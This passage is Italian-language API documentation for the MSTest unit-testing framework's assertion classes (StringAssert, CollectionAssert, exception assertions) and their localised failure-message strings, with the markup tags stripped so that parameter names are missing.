esegue il delegato. - - - - - Verifica se il codice specificato dal delegato genera l'esatta eccezione specificata di tipo (e non di tipo derivato) - e genera l'eccezione AssertFailedException se il codice non genera l'eccezione oppure genera un'eccezione di tipo diverso da . - - Delegato per il codice da testare e che dovrebbe generare l'eccezione. - - Messaggio da includere nell'eccezione quando - non genera l'eccezione di tipo . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - che esegue il delegato. - - - - - Verifica se il codice specificato dal delegato genera l'esatta eccezione specificata di tipo (e non di tipo derivato) - e genera l'eccezione AssertFailedException se il codice non genera l'eccezione oppure genera un'eccezione di tipo diverso da . - - Delegato per il codice da testare e che dovrebbe generare l'eccezione. - - Messaggio da includere nell'eccezione quando - non genera l'eccezione di tipo . - - - Matrice di parametri da usare quando si formatta . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - che esegue il delegato. - - - - - Sostituisce caratteri Null ('\0') con "\\0". - - - Stringa da cercare. - - - Stringa convertita con caratteri Null sostituiti da "\\0". - - - This is only public and still present to preserve compatibility with the V1 framework. - - - - - Funzione helper che crea e genera un'eccezione AssertionFailedException - - - nome dell'asserzione che genera un'eccezione - - - messaggio che descrive le condizioni per l'errore di asserzione - - - Parametri. - - - - - Verifica la validità delle condizioni nel parametro - - - Parametro. - - - Nome dell'asserzione. - - - nome del parametro - - - messaggio per l'eccezione di parametro non valido - - - Parametri. - - - - - Converte in modo sicuro un oggetto in una stringa, gestendo valori e caratteri Null. - I valori Null vengono convertiti in "(null)". I caratteri Null vengono convertiti in "\\0". - - - Oggetto da convertire in una stringa. - - - Stringa convertita. - - - - - Asserzione della stringa. - - - - - Ottiene l'istanza singleton della funzionalità CollectionAssert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void ContainsWords(this StringAssert cusomtAssert, string value, ICollection substrings)" - Users could then use a syntax similar to the default assertions which in this case is "StringAssert.That.ContainsWords(value, substrings);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Verifica se la stringa specificata contiene la sottostringa specificata - e genera un'eccezione se la sottostringa non è presente nella - stringa di test. - - - Stringa che dovrebbe contenere . - - - Stringa che dovrebbe essere presente in . - - - Thrown if is not found in - . - - - - - Verifica se la stringa specificata contiene la sottostringa specificata - e genera un'eccezione se la sottostringa non è presente nella - stringa di test. - - - Stringa che dovrebbe contenere . - - - Stringa che dovrebbe essere presente in . - - - Messaggio da includere nell'eccezione quando - non è contenuto in . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if is not found in - . - - - - - Verifica se la stringa specificata contiene la sottostringa specificata - e genera un'eccezione se la sottostringa non è presente nella - stringa di test. - - - Stringa che dovrebbe contenere . - - - Stringa che dovrebbe essere presente in . - - - Messaggio da includere nell'eccezione quando - non è contenuto in . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is not found in - . - - - - - Verifica se la stringa specificata inizia con la sottostringa specificata - e genera un'eccezione se la stringa di test non inizia con - la sottostringa. - - - Stringa che dovrebbe iniziare con . - - - Stringa che dovrebbe essere un prefisso di . - - - Thrown if does not begin with - . - - - - - Verifica se la stringa specificata inizia con la sottostringa specificata - e genera un'eccezione se la stringa di test non inizia con - la sottostringa. - - - Stringa che dovrebbe iniziare con . - - - Stringa che dovrebbe essere un prefisso di . - - - Messaggio da includere nell'eccezione quando - non inizia con . Il messaggio viene - visualizzato nei risultati del test. - - - Thrown if does not begin with - . - - - - - Verifica se la stringa specificata inizia con la sottostringa specificata - e genera un'eccezione se la stringa di test non inizia con - la sottostringa. - - - Stringa che dovrebbe iniziare con . - - - Stringa che dovrebbe essere un prefisso di . - - - Messaggio da includere nell'eccezione quando - non inizia con . Il messaggio viene - visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if does not begin with - . - - - - - Verifica se la stringa specificata termina con la sottostringa specificata - e genera un'eccezione se la stringa di test non termina con - la sottostringa. - - - Stringa che dovrebbe terminare con . - - - Stringa che dovrebbe essere un suffisso di . - - - Thrown if does not end with - . - - - - - Verifica se la stringa specificata termina con la sottostringa specificata - e genera un'eccezione se la stringa di test non termina con - la sottostringa. - - - Stringa che dovrebbe terminare con . - - - Stringa che dovrebbe essere un suffisso di . - - - Messaggio da includere nell'eccezione quando - non termina con . Il messaggio viene - visualizzato nei risultati del test. - - - Thrown if does not end with - . - - - - - Verifica se la stringa specificata termina con la sottostringa specificata - e genera un'eccezione se la stringa di test non termina con - la sottostringa. - - - Stringa che dovrebbe terminare con . - - - Stringa che dovrebbe essere un suffisso di . - - - Messaggio da includere nell'eccezione quando - non termina con . Il messaggio viene - visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if does not end with - . - - - - - Verifica se la stringa specificata corrisponde a un'espressione regolare e - genera un'eccezione se non corrisponde. - - - Stringa che dovrebbe corrispondere a . - - - Espressione regolare a cui dovrebbe - corrispondere. - - - Thrown if does not match - . - - - - - Verifica se la stringa specificata corrisponde a un'espressione regolare e - genera un'eccezione se non corrisponde. - - - Stringa che dovrebbe corrispondere a . - - - Espressione regolare a cui dovrebbe - corrispondere. - - - Messaggio da includere nell'eccezione quando - non corrisponde a . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if does not match - . - - - - - Verifica se la stringa specificata corrisponde a un'espressione regolare e - genera un'eccezione se non corrisponde. - - - Stringa che dovrebbe corrispondere a . - - - Espressione regolare a cui dovrebbe - corrispondere. - - - Messaggio da includere nell'eccezione quando - non corrisponde a . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if does not match - . - - - - - Verifica se la stringa specificata non corrisponde a un'espressione regolare e - genera un'eccezione se corrisponde. - - - Stringa che non dovrebbe corrispondere a . - - - Espressione regolare a cui non - dovrebbe corrispondere. - - - Thrown if matches . - - - - - Verifica se la stringa specificata non corrisponde a un'espressione regolare e - genera un'eccezione se corrisponde. - - - Stringa che non dovrebbe corrispondere a . - - - Espressione regolare a cui non - dovrebbe corrispondere. - - - Messaggio da includere nell'eccezione quando - corrisponde a . Il messaggio viene visualizzato nei risultati - del test. - - - Thrown if matches . - - - - - Verifica se la stringa specificata non corrisponde a un'espressione regolare e - genera un'eccezione se corrisponde. - - - Stringa che non dovrebbe corrispondere a . - - - Espressione regolare a cui non - dovrebbe corrispondere. - - - Messaggio da includere nell'eccezione quando - corrisponde a . Il messaggio viene visualizzato nei risultati - del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if matches . - - - - - Raccolta di classi helper per testare diverse condizioni associate - alle raccolte negli unit test. Se la condizione da testare non viene - soddisfatta, viene generata un'eccezione. - - - - - Ottiene l'istanza singleton della funzionalità CollectionAssert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void AreEqualUnordered(this CollectionAssert cusomtAssert, ICollection expected, ICollection actual)" - Users could then use a syntax similar to the default assertions which in this case is "CollectionAssert.That.AreEqualUnordered(list1, list2);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Verifica se la raccolta specificata contiene l'elemento specificato - e genera un'eccezione se l'elemento non è presente nella raccolta. - - - Raccolta in cui cercare l'elemento. - - - Elemento che dovrebbe essere presente nella raccolta. - - - Thrown if is not found in - . - - - - - Verifica se la raccolta specificata contiene l'elemento specificato - e genera un'eccezione se l'elemento non è presente nella raccolta. - - - Raccolta in cui cercare l'elemento. - - - Elemento che dovrebbe essere presente nella raccolta. - - - Messaggio da includere nell'eccezione quando - non è contenuto in . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if is not found in - . - - - - - Verifica se la raccolta specificata contiene l'elemento specificato - e genera un'eccezione se l'elemento non è presente nella raccolta. - - - Raccolta in cui cercare l'elemento. - - - Elemento che dovrebbe essere presente nella raccolta. - - - Messaggio da includere nell'eccezione quando - non è contenuto in . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is not found in - . - - - - - Verifica se la raccolta specificata non contiene l'elemento - specificato e genera un'eccezione se l'elemento è presente nella raccolta. - - - Raccolta in cui cercare l'elemento. - - - Elemento che non dovrebbe essere presente nella raccolta. - - - Thrown if is found in - . - - - - - Verifica se la raccolta specificata non contiene l'elemento - specificato e genera un'eccezione se l'elemento è presente nella raccolta. - - - Raccolta in cui cercare l'elemento. - - - Elemento che non dovrebbe essere presente nella raccolta. - - - Messaggio da includere nell'eccezione quando - è presente in . Il messaggio viene visualizzato nei risultati - del test. - - - Thrown if is found in - . - - - - - Verifica se la raccolta specificata non contiene l'elemento - specificato e genera un'eccezione se l'elemento è presente nella raccolta. - - - Raccolta in cui cercare l'elemento. - - - Elemento che non dovrebbe essere presente nella raccolta. - - - Messaggio da includere nell'eccezione quando - è presente in . Il messaggio viene visualizzato nei risultati - del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is found in - . - - - - - Verifica se tutti gli elementi della raccolta specificata sono non Null e genera - un'eccezione se un qualsiasi elemento è Null. - - - Raccolta in cui cercare gli elementi Null. - - - Thrown if a null element is found in . - - - - - Verifica se tutti gli elementi della raccolta specificata sono non Null e genera - un'eccezione se un qualsiasi elemento è Null. - - - Raccolta in cui cercare gli elementi Null. - - - Messaggio da includere nell'eccezione quando - contiene un elemento Null. Il messaggio viene visualizzato nei risultati del test. - - - Thrown if a null element is found in . - - - - - Verifica se tutti gli elementi della raccolta specificata sono non Null e genera - un'eccezione se un qualsiasi elemento è Null. - - - Raccolta in cui cercare gli elementi Null. - - - Messaggio da includere nell'eccezione quando - contiene un elemento Null. Il messaggio viene visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if a null element is found in . - - - - - Verifica se tutti gli elementi della raccolta specificata sono univoci o meno - e genera un'eccezione se due elementi qualsiasi della raccolta sono uguali. - - - Raccolta in cui cercare gli elementi duplicati. - - - Thrown if a two or more equal elements are found in - . - - - - - Verifica se tutti gli elementi della raccolta specificata sono univoci o meno - e genera un'eccezione se due elementi qualsiasi della raccolta sono uguali. - - - Raccolta in cui cercare gli elementi duplicati. - - - Messaggio da includere nell'eccezione quando - contiene almeno un elemento duplicato. Il messaggio viene - visualizzato nei risultati del test. - - - Thrown if a two or more equal elements are found in - . - - - - - Verifica se tutti gli elementi della raccolta specificata sono univoci o meno - e genera un'eccezione se due elementi qualsiasi della raccolta sono uguali. - - - Raccolta in cui cercare gli elementi duplicati. - - - Messaggio da includere nell'eccezione quando - contiene almeno un elemento duplicato. Il messaggio viene - visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if a two or more equal elements are found in - . - - - - - Verifica se una raccolta è un subset di un'altra raccolta e - genera un'eccezione se un qualsiasi elemento nel subset non è presente anche - nel superset. - - - Raccolta che dovrebbe essere un subset di . - - - Raccolta che dovrebbe essere un superset di - - - Thrown if an element in is not found in - . - - - - - Verifica se una raccolta è un subset di un'altra raccolta e - genera un'eccezione se un qualsiasi elemento nel subset non è presente anche - nel superset. - - - Raccolta che dovrebbe essere un subset di . - - - Raccolta che dovrebbe essere un superset di - - - Messaggio da includere nell'eccezione quando un elemento in - non è presente in . - Il messaggio viene visualizzato nei risultati del test. - - - Thrown if an element in is not found in - . - - - - - Verifica se una raccolta è un subset di un'altra raccolta e - genera un'eccezione se un qualsiasi elemento nel subset non è presente anche - nel superset. - - - Raccolta che dovrebbe essere un subset di . - - - Raccolta che dovrebbe essere un superset di - - - Messaggio da includere nell'eccezione quando un elemento in - non è presente in . - Il messaggio viene visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if an element in is not found in - . - - - - - Verifica se una raccolta non è un subset di un'altra raccolta e - genera un'eccezione se tutti gli elementi nel subset sono presenti anche - nel superset. - - - Raccolta che non dovrebbe essere un subset di . - - - Raccolta che non dovrebbe essere un superset di - - - Thrown if every element in is also found in - . - - - - - Verifica se una raccolta non è un subset di un'altra raccolta e - genera un'eccezione se tutti gli elementi nel subset sono presenti anche - nel superset. - - - Raccolta che non dovrebbe essere un subset di . - - - Raccolta che non dovrebbe essere un superset di - - - Messaggio da includere nell'eccezione quando ogni elemento in - è presente anche in . - Il messaggio viene visualizzato nei risultati del test. - - - Thrown if every element in is also found in - . - - - - - Verifica se una raccolta non è un subset di un'altra raccolta e - genera un'eccezione se tutti gli elementi nel subset sono presenti anche - nel superset. - - - Raccolta che non dovrebbe essere un subset di . - - - Raccolta che non dovrebbe essere un superset di - - - Messaggio da includere nell'eccezione quando ogni elemento in - è presente anche in . - Il messaggio viene visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if every element in is also found in - . - - - - - Verifica se due raccolte contengono gli stessi elementi e genera - un'eccezione se una delle raccolte contiene un elemento non presente - nell'altra. - - - Prima raccolta da confrontare. Contiene gli elementi previsti dal - test. - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Verifica se due raccolte contengono gli stessi elementi e genera - un'eccezione se una delle raccolte contiene un elemento non presente - nell'altra. - - - Prima raccolta da confrontare. Contiene gli elementi previsti dal - test. - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando un elemento viene trovato - in una delle raccolte ma non nell'altra. Il messaggio viene - visualizzato nei risultati del test. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Verifica se due raccolte contengono gli stessi elementi e genera - un'eccezione se una delle raccolte contiene un elemento non presente - nell'altra. - - - Prima raccolta da confrontare. Contiene gli elementi previsti dal - test. - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando un elemento viene trovato - in una delle raccolte ma non nell'altra. Il messaggio viene - visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Verifica se due raccolte contengono elementi diversi e genera - un'eccezione se le raccolte contengono gli stessi elementi senza - considerare l'ordine. - - - Prima raccolta da confrontare. Contiene gli elementi che il test - prevede siano diversi rispetto alla raccolta effettiva. - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Verifica se due raccolte contengono elementi diversi e genera - un'eccezione se le raccolte contengono gli stessi elementi senza - considerare l'ordine. - - - Prima raccolta da confrontare. Contiene gli elementi che il test - prevede siano diversi rispetto alla raccolta effettiva. - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - contiene gli stessi elementi di . Il messaggio - viene visualizzato nei risultati del test. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Verifica se due raccolte contengono elementi diversi e genera - un'eccezione se le raccolte contengono gli stessi elementi senza - considerare l'ordine. - - - Prima raccolta da confrontare. Contiene gli elementi che il test - prevede siano diversi rispetto alla raccolta effettiva. - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - contiene gli stessi elementi di . Il messaggio - viene visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Verifica se tutti gli elementi della raccolta specificata sono istanze - del tipo previsto e genera un'eccezione se il tipo previsto non - è presente nella gerarchia di ereditarietà di uno o più elementi. - - - Raccolta contenente elementi che il test presuppone siano del - tipo specificato. - - - Tipo previsto di ogni elemento di . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Verifica se tutti gli elementi della raccolta specificata sono istanze - del tipo previsto e genera un'eccezione se il tipo previsto non - è presente nella gerarchia di ereditarietà di uno o più elementi. - - - Raccolta contenente elementi che il test presuppone siano del - tipo specificato. - - - Tipo previsto di ogni elemento di . - - - Messaggio da includere nell'eccezione quando un elemento in - non è un'istanza di - . Il messaggio viene visualizzato nei risultati del test. - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Verifica se tutti gli elementi della raccolta specificata sono istanze - del tipo previsto e genera un'eccezione se il tipo previsto non - è presente nella gerarchia di ereditarietà di uno o più elementi. - - - Raccolta contenente elementi che il test presuppone siano del - tipo specificato. - - - Tipo previsto di ogni elemento di . - - - Messaggio da includere nell'eccezione quando un elemento in - non è un'istanza di - . Il messaggio viene visualizzato nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Verifica se le due raccolte specificate sono uguali e genera un'eccezione - se sono diverse. Per uguaglianza si intende che le raccolte - contengono gli stessi elementi nello stesso ordine e nella stessa quantità. - Riferimenti diversi allo stesso valore vengono considerati uguali. - - - Prima raccolta da confrontare. Questa è la raccolta prevista dai test. - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Thrown if is not equal to - . - - - - - Verifica se le due raccolte specificate sono uguali e genera un'eccezione - se sono diverse. Per uguaglianza si intende che le raccolte - contengono gli stessi elementi nello stesso ordine e nella stessa quantità. - Riferimenti diversi allo stesso valore vengono considerati uguali. - - - Prima raccolta da confrontare. Questa è la raccolta prevista dai test. - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è diverso da . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if is not equal to - . - - - - - Verifica se le due raccolte specificate sono uguali e genera un'eccezione - se sono diverse. Per uguaglianza si intende che le raccolte - contengono gli stessi elementi nello stesso ordine e nella stessa quantità. - Riferimenti diversi allo stesso valore vengono considerati uguali. - - - Prima raccolta da confrontare. Questa è la raccolta prevista dai test. - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è diverso da . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is not equal to - . - - - - - Verifica se le due raccolte specificate sono diverse e genera un'eccezione - se sono uguali. Per uguaglianza si intende che le raccolte - contengono gli stessi elementi nello stesso ordine e nella stessa quantità. - Riferimenti diversi allo stesso valore vengono considerati uguali. - - - Prima raccolta da confrontare. Questa è la raccolta che i test presuppongono - non corrisponda a . - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Thrown if is equal to . - - - - - Verifica se le due raccolte specificate sono diverse e genera un'eccezione - se sono uguali. Per uguaglianza si intende che le raccolte - contengono gli stessi elementi nello stesso ordine e nella stessa quantità. - Riferimenti diversi allo stesso valore vengono considerati uguali. - - - Prima raccolta da confrontare. Questa è la raccolta che i test presuppongono - non corrisponda a . - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è uguale a . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if is equal to . - - - - - Verifica se le due raccolte specificate sono diverse e genera un'eccezione - se sono uguali. Per uguaglianza si intende che le raccolte - contengono gli stessi elementi nello stesso ordine e nella stessa quantità. - Riferimenti diversi allo stesso valore vengono considerati uguali. - - - Prima raccolta da confrontare. Questa è la raccolta che i test presuppongono - non corrisponda a . - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Messaggio da includere nell'eccezione quando - è uguale a . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is equal to . - - - - - Verifica se le due raccolte specificate sono uguali e genera un'eccezione - se sono diverse. Per uguaglianza si intende che le raccolte - contengono gli stessi elementi nello stesso ordine e nella stessa quantità. - Riferimenti diversi allo stesso valore vengono considerati uguali. - - - Prima raccolta da confrontare. Questa è la raccolta prevista dai test. - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Implementazione di compare da usare quando si confrontano elementi della raccolta. - - - Thrown if is not equal to - . - - - - - Verifica se le due raccolte specificate sono uguali e genera un'eccezione - se sono diverse. Per uguaglianza si intende che le raccolte - contengono gli stessi elementi nello stesso ordine e nella stessa quantità. - Riferimenti diversi allo stesso valore vengono considerati uguali. - - - Prima raccolta da confrontare. Questa è la raccolta prevista dai test. - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Implementazione di compare da usare quando si confrontano elementi della raccolta. - - - Messaggio da includere nell'eccezione quando - è diverso da . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if is not equal to - . - - - - - Verifica se le due raccolte specificate sono uguali e genera un'eccezione - se sono diverse. Per uguaglianza si intende che le raccolte - contengono gli stessi elementi nello stesso ordine e nella stessa quantità. - Riferimenti diversi allo stesso valore vengono considerati uguali. - - - Prima raccolta da confrontare. Questa è la raccolta prevista dai test. - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Implementazione di compare da usare quando si confrontano elementi della raccolta. - - - Messaggio da includere nell'eccezione quando - è diverso da . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is not equal to - . - - - - - Verifica se le due raccolte specificate sono diverse e genera un'eccezione - se sono uguali. Per uguaglianza si intende che le raccolte - contengono gli stessi elementi nello stesso ordine e nella stessa quantità. - Riferimenti diversi allo stesso valore vengono considerati uguali. - - - Prima raccolta da confrontare. Questa è la raccolta che i test presuppongono - non corrisponda a . - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Implementazione di compare da usare quando si confrontano elementi della raccolta. - - - Thrown if is equal to . - - - - - Verifica se le due raccolte specificate sono diverse e genera un'eccezione - se sono uguali. Per uguaglianza si intende che le raccolte - contengono gli stessi elementi nello stesso ordine e nella stessa quantità. - Riferimenti diversi allo stesso valore vengono considerati uguali. - - - Prima raccolta da confrontare. Questa è la raccolta che i test presuppongono - non corrisponda a . - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Implementazione di compare da usare quando si confrontano elementi della raccolta. - - - Messaggio da includere nell'eccezione quando - è uguale a . Il messaggio viene visualizzato - nei risultati del test. - - - Thrown if is equal to . - - - - - Verifica se le due raccolte specificate sono diverse e genera un'eccezione - se sono uguali. Per uguaglianza si intende che le raccolte - contengono gli stessi elementi nello stesso ordine e nella stessa quantità. - Riferimenti diversi allo stesso valore vengono considerati uguali. - - - Prima raccolta da confrontare. Questa è la raccolta che i test presuppongono - non corrisponda a . - - - Seconda raccolta da confrontare. Si tratta della raccolta prodotta dal - codice sottoposto a test. - - - Implementazione di compare da usare quando si confrontano elementi della raccolta. - - - Messaggio da includere nell'eccezione quando - è uguale a . Il messaggio viene visualizzato - nei risultati del test. - - - Matrice di parametri da usare quando si formatta . - - - Thrown if is equal to . - - - - - Determina se la prima raccolta è un subset della seconda raccolta. - Se entrambi i set contengono elementi duplicati, il numero delle - occorrenze dell'elemento nel subset deve essere minore o uguale - a quello delle occorrenze nel superset. - - - Raccolta che il test presuppone debba essere contenuta in . - - - Raccolta che il test presuppone debba contenere . - - - True se è un subset di - ; in caso contrario, false. - - - - - Costruisce un dizionario contenente il numero di occorrenze di ogni - elemento nella raccolta specificata. - - - Raccolta da elaborare. - - - Numero di elementi Null presenti nella raccolta. - - - Dizionario contenente il numero di occorrenze di ogni elemento - nella raccolta specificata. - - - - - Trova un elemento senza corrispondenza tra le due raccolte. Per elemento - senza corrispondenza si intende un elemento che appare nella raccolta prevista - un numero di volte diverso rispetto alla raccolta effettiva. Si presuppone - che le raccolte siano riferimenti non Null diversi con lo stesso - numero di elementi. Il chiamante è responsabile di questo livello di - verifica. Se non ci sono elementi senza corrispondenza, la funzione - restituisce false e i parametri out non devono essere usati. - - - Prima raccolta da confrontare. - - - Seconda raccolta da confrontare. - - - Numero previsto di occorrenze di - o 0 se non ci sono elementi senza - corrispondenza. - - - Numero effettivo di occorrenze di - o 0 se non ci sono elementi senza - corrispondenza. - - - Elemento senza corrispondenza (può essere Null) o Null se non ci sono elementi - senza corrispondenza. - - - true se è stato trovato un elemento senza corrispondenza; in caso contrario, false. - - - - - confronta gli oggetti usando object.Equals - - - - - Classe di base per le eccezioni del framework. - - - - - Inizializza una nuova istanza della classe . - - - - - Inizializza una nuova istanza della classe . - - Messaggio. - Eccezione. - - - - Inizializza una nuova istanza della classe . - - Messaggio. - - - - Classe di risorse fortemente tipizzata per la ricerca di stringhe localizzate e così via. - - - - - Restituisce l'istanza di ResourceManager nella cache usata da questa classe. - - - - - Esegue l'override della proprietà CurrentUICulture del thread corrente per tutte - le ricerche di risorse eseguite usando questa classe di risorse fortemente tipizzata. - - - - - Cerca una stringa localizzata simile a La sintassi della stringa di accesso non è valida. - - - - - Cerca una stringa localizzata simile a La raccolta prevista contiene {1} occorrenza/e di <{2}>, mentre quella effettiva ne contiene {3}. {0}. - - - - - Cerca una stringa localizzata simile a È stato trovato un elemento duplicato:<{1}>. {0}. - - - - - Cerca una stringa localizzata simile a Il valore previsto è <{1}>, ma la combinazione di maiuscole/minuscole è diversa per il valore effettivo <{2}>. {0}. - - - - - Cerca una stringa localizzata simile a È prevista una differenza minore di <{3}> tra il valore previsto <{1}> e il valore effettivo <{2}>. {0}. - - - - - Cerca una stringa localizzata simile a Valore previsto: <{1} ({2})>. Valore effettivo: <{3} ({4})>. {0}. - - - - - Cerca una stringa localizzata simile a Valore previsto: <{1}>. Valore effettivo: <{2}>. {0}. - - - - - Cerca una stringa localizzata simile a È prevista una differenza maggiore di <{3}> tra il valore previsto <{1}> e il valore effettivo <{2}>. {0}. - - - - - Cerca una stringa localizzata simile a È previsto un valore qualsiasi eccetto <{1}>. Valore effettivo: <{2}>. {0}. - - - - - Cerca una stringa localizzata simile a Non passare tipi valore a AreSame(). I valori convertiti in Object non saranno mai uguali. Usare AreEqual(). {0}. - - - - - Cerca una stringa localizzata simile a {0} non riuscita. {1}. - - - - - Cerca una stringa localizzata simile ad async TestMethod con UITestMethodAttribute non supportata. Rimuovere async o usare TestMethodAttribute. - - - - - Cerca una stringa localizzata simile a Le raccolte sono entrambe vuote. {0}. - - - - - Cerca una stringa localizzata simile a Le raccolte contengono entrambe gli stessi elementi. - - - - - Cerca una stringa localizzata simile a I riferimenti a raccolte puntano entrambi allo stesso oggetto Collection. {0}. - - - - - Cerca una stringa localizzata simile a Le raccolte contengono entrambe gli stessi elementi. {0}. - - - - - Cerca una stringa localizzata simile a {0}({1}). - - - - - Cerca una stringa localizzata simile a (Null). - - - - - Cerca una stringa localizzata simile a (oggetto). - - - - - Cerca una stringa localizzata simile a La stringa '{0}' non contiene la stringa '{1}'. {2}. - - - - - Cerca una stringa localizzata simile a {0} ({1}). - - - - - Cerca una stringa localizzata simile a Per le asserzioni non usare Assert.Equals, ma preferire Assert.AreEqual e gli overload. - - - - - Cerca una stringa localizzata simile a Il numero di elementi nelle raccolte non corrisponde. Valore previsto: <{1}>. Valore effettivo: <{2}>.{0}. - - - - - Cerca una stringa localizzata simile a L'elemento alla posizione di indice {0} non corrisponde. - - - - - Cerca una stringa localizzata simile a L'elemento alla posizione di indice {1} non è del tipo previsto. Tipo previsto: <{2}>. Tipo effettivo: <{3}>.{0}. - - - - - Cerca una stringa localizzata simile a L'elemento alla posizione di indice {1} è (Null). Tipo previsto: <{2}>.{0}. - - - - - Cerca una stringa localizzata simile a La stringa '{0}' non termina con la stringa '{1}'. {2}. - - - - - Cerca una stringa localizzata simile a Argomento non valido: EqualsTester non può usare valori Null. - - - - - Cerca una stringa localizzata simile a Non è possibile convertire un oggetto di tipo {0} in {1}. - - - - - Cerca una stringa localizzata simile a L'oggetto interno a cui si fa riferimento non è più valido. - - - - - Cerca una stringa localizzata simile a Il parametro '{0}' non è valido. {1}. - - - - - Cerca una stringa localizzata simile a Il tipo della proprietà {0} è {1}, ma quello previsto è {2}. - - - - - Cerca una stringa localizzata simile a Tipo previsto di {0}: <{1}>. Tipo effettivo: <{2}>. - - - - - Cerca una stringa localizzata simile a La stringa '{0}' non corrisponde al criterio '{1}'. {2}. - - - - - Cerca una stringa localizzata simile a Tipo errato: <{1}>. Tipo effettivo: <{2}>. {0}. - - - - - Cerca una stringa localizzata simile a La stringa '{0}' corrisponde al criterio '{1}'. {2}. - - - - - Cerca una stringa localizzata simile a Non è stato specificato alcun elemento DataRowAttribute. Con DataTestMethodAttribute è necessario almeno un elemento DataRowAttribute. - - - - - Cerca una stringa localizzata simile a Non è stata generata alcuna eccezione. Era prevista un'eccezione {1}. {0}. - - - - - Cerca una stringa localizzata simile a Il parametro '{0}' non è valido. Il valore non può essere Null. {1}. - - - - - Cerca una stringa localizzata simile a Il numero di elementi è diverso. - - - - - Cerca una stringa localizzata simile a - Il costruttore con la firma specificata non è stato trovato. Potrebbe essere necessario rigenerare la funzione di accesso privata - oppure il membro potrebbe essere privato e definito per una classe di base. In quest'ultimo caso, è necessario passare il tipo - che definisce il membro nel costruttore di PrivateObject. - . - - - - - Cerca una stringa localizzata simile a - Il membro specificato ({0}) non è stato trovato. Potrebbe essere necessario rigenerare la funzione di accesso privata - oppure il membro potrebbe essere privato e definito per una classe di base. In quest'ultimo caso, è necessario passare il tipo - che definisce il membro nel costruttore di PrivateObject. - . - - - - - Cerca una stringa localizzata simile a La stringa '{0}' non inizia con la stringa '{1}'. {2}. - - - - - Cerca una stringa localizzata simile a Il tipo di eccezione previsto deve essere System.Exception o un tipo derivato da System.Exception. - - - - - Cerca una stringa localizzata simile a Non è stato possibile ottenere il messaggio per un'eccezione di tipo {0} a causa di un'eccezione. - - - - - 